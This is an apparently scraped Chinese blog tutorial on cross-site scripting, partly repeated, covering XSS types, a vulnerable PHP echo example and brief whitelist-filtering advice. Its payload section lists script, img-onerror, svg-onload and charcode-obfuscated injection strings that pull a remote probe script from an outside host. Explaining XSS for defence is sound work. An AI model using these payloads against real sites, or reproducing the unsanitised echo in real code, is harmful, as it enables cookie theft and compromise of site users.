XSS漏洞分析
2016-07-15 19:19
363 查看
什么是XSS
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入而已html代码,当浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到而已攻击用户的特殊目的。
XSS可以干什么
盗取管理员Cookie或用户Cookie
XSS Worm
挂马(水坑攻击)
有局限性的键盘记录
XSS分类
放射性XSS
存储型XSS
DOM XSS
flash XSS
mXSS
反射(非持久)型XSS
发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应内容中出现这段XSS代码,最后浏览器解析执行
这个过程就像一次反射,所以命名为反射性XSS
储存(持久)型XSS
储存型XSS和反射型XSS的差别仅在于:提交的XSS代码会储存在服务器(不管是数据库/内存/文件系统等),下次请求目标页面是不用在提交XSS代码。
最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板是,那些留言内容会从数据库查村出来并显示,浏览器发现有XSS代码,就当作正常的HTML和JS解析执行,于是触发了XSS攻击
储存性XSS的攻击是最隐蔽的
payload(有效的攻击代码)
对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。
本文出自 “启思・朝圣者” 博客,请务必保留此出处http://dearch.blog.51cto.com/10423918/1826827
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入而已html代码,当浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到而已攻击用户的特殊目的。
XSS可以干什么
盗取管理员Cookie或用户Cookie
XSS Worm
挂马(水坑攻击)
有局限性的键盘记录
XSS分类
放射性XSS
存储型XSS
DOM XSS
flash XSS
mXSS
反射(非持久)型XSS
发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应内容中出现这段XSS代码,最后浏览器解析执行
这个过程就像一次反射,所以命名为反射性XSS
xss.php <?php echo $_GET['x'] ?> #提交 /xss.php?x=<script>alert(1)</script>服务端解析式,echo就会完整的输出<script>alert(1)</script>到响应体中,然后浏览器解析执行触发弹窗
储存(持久)型XSS
储存型XSS和反射型XSS的差别仅在于:提交的XSS代码会储存在服务器(不管是数据库/内存/文件系统等),下次请求目标页面是不用在提交XSS代码。
最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板是,那些留言内容会从数据库查村出来并显示,浏览器发现有XSS代码,就当作正常的HTML和JS解析执行,于是触发了XSS攻击
储存性XSS的攻击是最隐蔽的
#eg:http://www.nfpeople.com/user.php?id=21839XSS是如何利用的
payload(有效的攻击代码)
<script src='http://b.ioio.pub/xss/probe.js'></script> <img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";> <svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js> <svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109, 101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,9 7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114, 99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98, 47,120,115,115,47,112,114,111,98,101,46,106,115)) >修复
对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。
本文出自 “启思・朝圣者” 博客,请务必保留此出处http://dearch.blog.51cto.com/10423918/1826827
相关文章推荐
- HDU5645(水)
- 高斯混合模型----分类问题
- 在Android应用中使用自定义证书的HTTPS连接(下)
- 安卓手机屏幕投射到电脑以及一台电脑控制多台手机技术原理浅析
- 用于基于 RPM 的 Linux 平台的 Java
- 一个很简单的输出从1到n个9
- Android 状态栏的控制
- HDU1013 Digital Roots(解法二)
- An internal error occurred during: "SVN 检出". java.lang.ArrayIndexOutOfBoundsException
- BZOJ1088 [SCOI2005]扫雷Mine
- 【iOS】Xcode 插件安装后无效
- 回家_纪中1445_bfs+二分
- C语言零散知识学习
- 区块链在中国(2):PBFT算法
- 【WCF】终结点的监听地址
- HDU-4725 The Shortest Path in Nya Graph( 最短路 )
- 用于 Linux 平台的 Java
- jQuery事件绑定on()、bind()与delegate() 方法详解
- UVA 11916 Emoogle Grid(离散对数、BSGS算法)
- SICP_Python版第二章